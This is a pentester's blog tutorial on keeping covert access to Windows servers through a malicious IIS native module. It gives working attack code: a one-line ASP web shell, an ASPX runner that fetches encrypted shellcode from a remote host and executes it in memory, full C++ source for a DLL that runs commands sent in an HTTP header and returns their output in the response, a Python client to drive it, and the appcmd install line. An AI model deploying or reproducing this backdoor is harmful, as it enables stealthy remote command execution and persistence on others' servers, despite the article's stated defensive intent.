From HTTP to RCE. How to leave a backdoor in IIS

Good afternoon everyone! My name is Mikhail Zhmailo, I am a pentester in the CICADA8 team of the MTS Innovation Center.

Internet Information Services (IIS) instances are often found in projects. This is a very handy tool used as an application server. But did you know that simply deploying IIS could allow an attacker to leave a backdoor in the target environment?

In the article I will show how to attach to the system using a legitimate Microsoft product – Internet Information Services. We'll practice C++ programming, learn IIS Components, and backdoor the IIS Module.

Let’s agree right away: I’m telling you all this not so that you can go hack other people’s systems, but so that you know where attackers can leave a backdoor. Forewarned is forearmed.

Introduction

During internal pentests, our team very often encountered the standard IIS splash screen. On one project, almost every computer had this application. That same evening, I asked myself, “What if I locked onto the target system and maintained constant access to it through IIS?”

Standard IIS splash screen

Standard IIS splash screen

Fortunately, Windows gives the developer freedom of action: do you want to expand the capabilities of any large Enterprise thing? Yes please, here are a bunch of APIs for you!

Before creating our Frankenstein monster, let's remember the already known methods of pinning on IIS.

Casino, blackjack and shells

It has long been the most common method persistista (and in special cases, obtaining initial access) were web shells. However, due to their simplicity, low weight and great popularity, there are many ways to detect their appearance on a web server.

We laugh together here

We laugh together here

In addition, if you do not add minimal access control to the web shell, then anyone can use it. Not very cool, right?

Finally, encodings. Let's take standard web shell .aspx. Upload to C:\inetpub\wwwrootset the rights via icacls, launch it.

Abracadabra

Abracadabra

I knew that the requirements for pentesters were high, but no one asked for knowledge of Elvish.

Of course, there are slightly neater options.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Exactly like the slightly more bulky ones. For example, an ASPX shellcode runner with payload loading from a remote server and subsequent AES decryption.

How do you like that, Elon Musk?
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>

<script runat="server">

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

	[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
	private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

[   System.Runtime.InteropServices.DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();

	private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
	{
    	using (var aes = Aes.Create())
    	{
        	aes.KeySize = 256;
        	aes.BlockSize = 128;

        	// Keep this in mind when you view your decrypted content as the size will likely be different.
        	aes.Padding = PaddingMode.Zeros;

        	aes.Key = key;
        	aes.IV = iv;

        	using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
        	{
            	return PerformCryptography(data, decryptor);
        	}
    	}
	}

	private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
	{
    	using (var ms = new MemoryStream())
    	using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
    	{
        	cryptoStream.Write(data, 0, data.Length);
        	cryptoStream.FlushFinalBlock();
        	return ms.ToArray();
    	}
	}

	private byte[] GetArray(string url)
	{
    	using (WebClient webClient = new WebClient())
    	{
        	string content = webClient.DownloadString(url);
        	byte[] byteArray = content.Split(',')
        	.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
        	.ToArray();
        	return byteArray;
    	}
	}

	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	protected void Page_Load(object sender, EventArgs e)
	{
    	IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
    	if(mem == null)
    	{
        	return;
    	}

    	// Encrypted shellcode
    	byte[] Enc = GetArray("http://192.168.x.x/enc.txt");

    	// Key
    	byte[] Key = GetArray("http://192.168.x.x/key.txt");

    	// IV
    	byte[] Iv = GetArray("http://192.168.x.x/iv.txt");

    	// Decrypt our shellcode
    	byte[] e4qRS= Decrypt(Enc, Key, Iv);

    	// Allocate our memory buffer
    	IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   	 
    	// Copy our decrypted shellcode ito the buffer
    	System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);

    	// Create a thread that contains our buffer
    	IntPtr aj5QpPE = IntPtr.Zero;
    	IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
	}
</script>
<!DOCTYPE html>
<html>
<body>
	<p>Check your listener...</p>
</body>
</html>

There are even generators web shells. On top of all this is added pleasure for connoisseurs – rewrite web.config. It would seem, take it and don’t think about it!

But no! I want something like this: new, unusual and secretive enough so that not every defense trainee can drive you away from a compromised host.

And such a solution was found.

IIS Components

As I said, Microsoft allows you to extend the built-in functionality of its products. Before version 7.0, IIS had ISAPI Extensions and ISAPI Filters. These tools are still available, but have been replaced by IIS Handler and IIS Module, respectively.

IIS Handler allows you to process the received request on IIS and create a response for different content types. For example, there is a handler in ASP.NET that allows you to process ASPX pages (including our web shells).

IIS Module is also involved in the processing. IIS gives it full and unrestricted access to all incoming and outgoing HTTP requests. I think this is our candidate. The modules themselves can be divided into two types: Managed and Native. Managed are those that were written in C#, and Native are in C++. The list of installed modules can be seen through the standard IIS service manager.

Internet Information Services Manager

Internet Information Services Manager

The pinning process itself is similar to a web shell: if there is a call to a certain endpoint with certain parameters, then the command is executed on the system.

General concept

I understand how functionality can be extended in Windows. Everything is based on writing your own DLL with the necessary methods. After its creation, all that remains is to register the library in IIS and use it to process specific events that appear on the server, for example, the receipt of a new HTTP request.

In order for us to register our library with IIS, it must export a function RegisterModule() with the following prototype:

HRESULT __stdcall RegisterModule(
    DWORD dwServerVersion,
    IHttpModuleRegistrationInfo*   pModuleInfo,
    IHttpServer*               	pHttpServer
)

dwServerVersion determines the version of the server on which the library is registered. IHttpModuleRegistratioInfo – this is the so-called interface. For the uninitiated, I note that an interface in OOP can be considered a certain obligation of a class to implement certain methods. Excellent analysis you can watch here.

Thus, accessing the variable pModuleInfo (it will identify our module in IIS), we can extract the name of the current module using GetName()get his ID via GetId()but the most interesting thing (in fact, what we need) is to subscribe to the processing of certain events via SetRequestNotifications().

It is also possible to set prioritization, but we are not particularly interested in it. Although if you plan to write a highly loaded web shell…

However, let's return to SetRequestNotifications().

virtual HRESULT SetRequestNotifications(  
   IN IHttpModuleFactory* pModuleFactory,  
   IN DWORD dwRequestNotifications,  
   IN DWORD dwPostRequestNotifications  
) = 0;

This is the so-called **pure virtual function**. Its logic must be implemented in some class. In our case, you can call this function by calling pModuleInfo. The function itself takes the following arguments:

  • pModuleFactory – an instance of a class that will satisfy the interface IHttpModuleFactory. That is, we simply need to create a class, indicate that it is inherited from an interface, and implement methods in this class GetHttpModule And Terminate

  • dwRequestNotifications — a bitmask identifying all events to which the IIS Module subscribes. We are interested RQ_SEND_RESPONSE And RQ_BEGIN_REQUEST. The entire list of possible events can be found here

  • dwPostRequestNotifications — a bit mask identifying all so-called post-event events. This mask is useful for handling something that has already happened on IIS. We are not particularly interested in this value, so we set it to 0

If initialization is successful, the function RegisterModule() must return S_OK.

The logical question is: “Where to process events?” And before answering it, you need to understand all the classes and factories.

Class, Factory, Tribe and the Poor Jew

In function SetRequestNotification() we should pass as the first parameter an instance of a class that satisfies the interface IHttpModuleFactory. Our class can be anything, the main thing is that it has an implementation of two methods: GetHttpModule() And Terminate().

For example, let's call the class a non-obvious name CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
	{
   	 ... здесь код ...
	}

	void Terminate()
	{
    	delete this;
	}
};

Method GetHttpModule() will be called every time IIS receives a request that has been logged to be processed. Terminate() will be called at the end of request processing.

Inside GetHttpModule() our class must create an instance of the class CHttpModule and return the address to a variable ppModule. Exactly the class CHttpModule provides functionality for processing requests on IIS, its definition is presented in a standard header file httpserv.h.

Defining the CHttpModule class

Defining the CHttpModule class

If we look at the functions OutputDebugString(), then we will understand that it is not enough to create an instance of a class – we must provide an implementation of a method for processing a specific event. You can override the code of an existing method with a child class, let's call it CChildHttpModule.

In the class itself, for now we will only write prototypes of the methods that we will override. But a very good practice, in my opinion, is to insert the method code in .h-file – some kind of LNK* error may occur.

class CChildHttpModule : public CHttpModule
{
public:
	REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);  
};

Inside GetHttpModule() Let's provide the code to create an instance of the class CChildHttpModule.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
	{
    	CChildHttpModule* pModule = new CChildHttpModule();
    	*ppModule = pModule;
    	pModule = NULL;
    	return S_OK;
	}

	void Terminate()
	{
    	delete this;
	}
};

To sum it up, the steps just described implement a design pattern called a “factory” (hence all sorts of *Factory in interface names). This pattern allows you to create an object (called a factory) to create other objects. And then, when accessing the factory, the necessary objects will be created.

The entire logic of the work is now extremely clear:

  1. Register the module in IIS.

  2. IIS calls RegisterModule().

  3. Subscribe to the necessary events, give through pModuleInfo->SetRequestNotifications() a pointer to an instance of our factory.

  4. IIS will call the method when prompted GetHttpModule() our factory.

  5. A new instance of the class will be created CChildHttpModule().

  6. The required method corresponding to the event will be called using this class instance. In our case, if you subscribed to RQ_SEND_RESPONSEthen it will be called OnSendResponse().

  7. Inside the method we process the web server response.

  8. Returning from the method RQ_NOTIFICATION_CONTINUE. This value indicates the successful completion of the processing function.

  9. IIS runs method Terminate().

Why process the response if you need a request?

It would be more logical to handle the event RQ_BEGIN_REQUEST with a method call OnBeginRequest(). But how to get the output in this case? Of course, you can code something on the sockets or leave commands executed blindly, but this is not very convenient. So I used RQ_SEND_RESPONSE. Especially in the method OnSendResponse() via argument pHttpContext thanks to IHttpContext The interface can access both the request and the response.

The operating logic of our tool will be extremely simple: we parse the received request, detect the attacker’s desire to execute a command on the system, execute the command, add the command output to the IIS server response – success!

Let's start coding

So, let's create an empty project for writing a dynamic link library in Visual Studio. We don’t add anything to the DllMain function; we don’t need it. Let's implement RegisterModule().

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"

CHttpModuleFactory* pFactory = NULL;

__declspec(dllexport) HRESULT __stdcall RegisterModule(
	DWORD dwSrvVersion,
	IHttpModuleRegistrationInfo* pModuleInfo,
	IHttpServer* pHttpServer)
{
	pFactory = new CHttpModuleFactory();
	HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
	return hr;
}

In this code we declare a function exported from a DLL. Next, inside it we create an instance of a new factory, which will be used by IIS to create class objects CChildHttpModule.

In the header file classes.h implement class prototypes CHttpModuleFactory And CChildHttpModule.

#pragma once
#include <Windows.h>
#include <httpserv.h>

class CChildHttpModule : public CHttpModule
{
public:
    REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};


class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);

    void Terminate();
};

In file classes.cpp We write the logic of the methods of these classes.

#include "classes.h"

REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    ...
}

HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
    CChildHttpModule* pModule = new CChildHttpModule();
    *ppModule = pModule;
    pModule = NULL;
    return S_OK;
}

void CHttpModuleFactory::Terminate()
{
    if (this != NULL)
    {
   	 delete this;
    }
}

Next we need to understand how we want to execute the command and see the output. After this, we decide how we will implement the function OnSendResponse().

IHttp* interface methods

For minimal POC, I suggest sending an HTTP packet with the header X-Cmd-Command: <command>. Since our IIS Module is registered to process RQ_SEND_RESPONSEthen inside IIS the function will be called OnSendResponse(). Her prototype is like this:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
   IN IHttpContext* pHttpContext,  
   IN ISendResponseProvider* pProvider  
);

Here we are interested in the pointer pHttpContext. Since this instance implements the interface IHttpContextthen we can use the functions defined in this interface.

First we need to extract the request received by IIS and the response sent. This can be done using methods pHttpContext->GetRequest() And pHttpContext->GetResponse().

As a result, we get two instances corresponding to the interface IHttpRequest And IHttpResponse.

The method allows you to retrieve the value of a specific header GetHeader().

virtual PCSTR GetHeader(  
   IN PCSTR pszHeaderName,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;  
 
virtual PCSTR GetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;

All that remains is to extract the value, give it to cmd.exe /c <command>, and then add the execution result to the web application response. With the first two steps everything is obvious, GetHeader(), CreateProcess() with redirecting output to a pipe, but how to add the result of executing commands?

For this we use the method SetHeader().

virtual HRESULT SetHeader(  
   IN PCSTR pszHeaderName,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;  
 
virtual HRESULT SetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;

Please note that this method is also available for IHttpRequestbut we call it in relation to the instance IHttpResponse (after all, we want to include the result of the command in the response, right? 🙂 ).

The result of the command execution is inserted in Base64 format.

How to debug this miracle

Earlier in the article I mentioned the great feature OutputDebugString(). I will also use it in the function OnSendResponse(). In the case of Native IIS Module, this is the only possible more or less high-level method (that I know) of debugging and catching errors during development. OutputDebugString() does this:

  • if the current process is being debugged, then the text is sent directly to the debugger

  • otherwise, calls the standard function OpenEvent() and tries to open a handle for two named events. One with a name DBWIN_BUFFER_READYother – DBWIN_DATA_READY. If one or both of them are not found, then the string passed to the function is simply cleared

  • if events exist, then the string is placed in memory by calling OpenFileMapping() With name DBWIN_BUFFER. If this mapping is not found, then the text is simply cleared

  • finally, if all three objects exist, OutputDebugString() causes MapViewOfFile() to create a mapping, and the line appears in memory. From there it can be considered

For convenience, you can use, for example, DebugView.

Here is an example of two programs, one of which receives strings sent to the other using the function Outputdebugstring():

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>

int main() {
    HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_BUFFER_READY");
    HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_DATA_READY");

    DWORD size = 1 << 12;
    HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
   	 PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");

    auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
   	 0, 0, 0);

    while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
   	 INFINITE, FALSE)) {
   	 SYSTEMTIME local;
   	 ::GetLocalTime(&local);
   	 DWORD pid = *(DWORD*)buffer;
   	 printf("%ws.%03d %6d: %s\n",
   		 (PCWSTR)CTime(local).Format(L"%X"),
   		 local.wMilliseconds, pid,
   		 (const char*)(buffer + sizeof(DWORD)));
    }
    getchar();
    return 0;
}

And here is the program that sends the string:

#include <windows.h>

int main()
{
	LPCWSTR str = (LPCWSTR)L"Hi!!!";


	OutputDebugString(str);

	return 0;
}

The conclusion is as follows:

Successful debugging

Successful debugging

This is what the debugging process looks like using DebugView:

Functions in code

Functions in code

DebugView Interface

DebugView Interface

Writing the final POC

So, all we have to do is describe everything correctly in the method OnSendResponse() and get a working backdoor. Let's start with coding functions. We will use base64, so everything is simple here. Since the function SetHeader() accepts LPCSTR, then our function EncodeBase64() will return LPCSTR. The encoded data will be in a BYTE buffer, so the first argument will be the address of the buffer, the second – its size.

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) {
	std::string out;

	int val = 0, valb = -6;
	for (size_t i = 0; i < in_len; ++i) {
    	unsigned char c = buffer[i];
    	val = (val << 8) + c;
    	valb += 8;
    	while (valb >= 0) {
        	out.push_back(base64_chars[(val >> valb) & 0x3F]);
        	valb -= 6;
    	}
	}
	if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
	while (out.size() % 4) out.push_back('=');

	char* encodedString = new char[out.length() + 1];
	std::memcpy(encodedString, out.data(), out.length());
	encodedString[out.length()] = '\0';

	return encodedString;
}

I think there is no point in describing how the algorithm works, since this is standard Base64.

Let's move on to the juiciest part – processing OnSendResponse(). I'll first provide the complete code for the function, and then we'll walk through it step by step.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    OutputDebugString(L"OnSendResponse IN");
    IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
    IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

    USHORT uComLen = 0;
    LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
    if (lpCommand == NULL || uComLen == 0) {
   	 OutputDebugString(L"lpCommand == NULL || uComLen == 0");
   	 return RQ_NOTIFICATION_CONTINUE;
    }

    OutputDebugString(L"Command isn't null");
    
    lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
    lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

	std::vector<BYTE> output;

    if (ExecuteCommand(lpCommand, output) != 0)
    {
   	 OutputDebugString(L"ExecuteCommand Failed");
    	return RQ_NOTIFICATION_CONTINUE;
    }

    OutputDebugString(L"ExecuteCommand success");

	if (output.empty())
	{
    	OutputDebugString(L"Buffer Is empty!");
    	return RQ_NOTIFICATION_CONTINUE;
	}

	OutputDebugString(L"Buffer is not empty");
	LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}

	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Firstly, as promised, many OutputDebugString(). This allows you to monitor the status of the IIS module via DebugView.

Debugging via DebugView

Debugging via DebugView

Secondly, we extract from pHttpContext a copy of the response and request.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Then through reading the header X-Cmd-Command we get the value of the command that should be executed.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
    OutputDebugString(L"lpCommand == NULL || uComLen == 0");
    return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Please note that I placed the title in a variable HEADER. It is defined in the file defs.h. This allows you to quickly and without any problems change the title used.

The main functionality of our backdoor is the execution of arbitrary commands. So I create a vector with data like BYTE. This variable will contain the result of the command.

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
    OutputDebugString(L"ExecuteCommand Failed");
	return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
	OutputDebugString(L"Buffer Is empty!");
	return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");

ExecuteCommand() looks like this.

DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
	HANDLE hReadPipe, hWritePipe;
	BOOL success = FALSE;

	if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
    	OutputDebugString(L"CreatePipe failed");
    	return -1;
	}

	ZeroMemory(&si, sizeof(STARTUPINFOA));
	si.cb = sizeof(STARTUPINFOA);
	si.dwFlags |= STARTF_USESTDHANDLES;
	si.hStdOutput = hWritePipe;
	si.hStdError = hWritePipe;

	char cmdCommand[MAX_PATH];
	snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);

	if (!CreateProcessA(
    	NULL,
    	cmdCommand,
    	NULL,
    	NULL,
    	TRUE,
    	CREATE_NO_WINDOW,
    	NULL,
    	NULL,
    	&si,
    	&pi)) {
    	OutputDebugString(L"CreateProcessA failed");
    	CloseHandle(hReadPipe);
    	CloseHandle(hWritePipe);
    	return -1;
	}

	OutputDebugString(L"CreateProcessA Success");

	CloseHandle(hWritePipe);

	outputBuffer.clear();
    
	const DWORD tempBufferSize = 4096;
	std::vector<BYTE> tempBuffer(tempBufferSize);
	DWORD bytesRead;

	while (true) {
    	if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
        	break;
    	outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
	}

	CloseHandle(hWritePipe);
	CloseHandle(hReadPipe);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	return 0;
}

To a seasoned security professional, this function will seem extremely simple. First of all, we create a pipe to receive the result of the command. The next step is to generate an executable command (cmd.exe /c <command>), after which we execute it. The result of the execution will fall into the pipe, from which we read the data and place it in our vector.

The reading process is also quite simple. As soon as the function starts to fail with an error or the data stops being read, that means that’s it, end of reading 🙂

After reading all the data into the vector, we encode it in Base64 and insert it into the web server response using the method SetHeader().

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}
	OutputDebugStringA(b64Data);
	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Execute commands

Moment of truth! We achieve the execution of commands. In order to send requests to infected IIS, let's write a simple Python script.

import requests
import argparse
import base64

parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default="X-Cmd-Command", help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()

url = args.host


headers = {
	args.header: args.cmd
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
	response_value = response.headers.get(args.header)
	if response_value:
    	decoded_value = base64.b64decode(response_value.encode()).decode()
    	print(f"Значение заголовка {args.header} в ответе: {decoded_value}")
	else:
    	print(f"Заголовок {args.header} отсутствует в ответе.")
else:
	print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")

The script takes two required and one optional parameters:

  • --host – URL of the host where IIS is located

  • --cmd – command to execute

  • --header — the name of the header through which we issue the command and receive the output. We use X-Cmd-Commandbut if you recompile the project with a different header, then don't forget to specify the new value

Before you see such a coveted result, do not forget to register our module in IIS. This is done with one simple command:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

You can, of course, install via the graphical interface, but this is somehow not hacker-like.

Upon successful registration, we will see the line in DebugView RegisterModule.

Successful backdoor registration

Successful backdoor registration

If we just go to IIS and refresh the page, then nothing suspicious will happen. We can only see how successfully our message is logged that no command was received.

Regular IIS

Regular IIS

We run our Python script and see the successful execution of the command!

Successful command execution

Successful command execution

Success!

Conclusion

Sometimes completely standard and legitimate mechanisms can be very useful when conducting pentests. There is a lot more functionality that can be added to this project. For example, it would be great to encode not only the output, but also the input. To in the title X-Cmd-Command the command was given in Base64. Fortunately, we learned how to get the header value. It's up to you to add a function for decoding from Base64. All the necessary data is already in base64.cpp. Go for it 🙂

The complete project code is available at GitHub.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *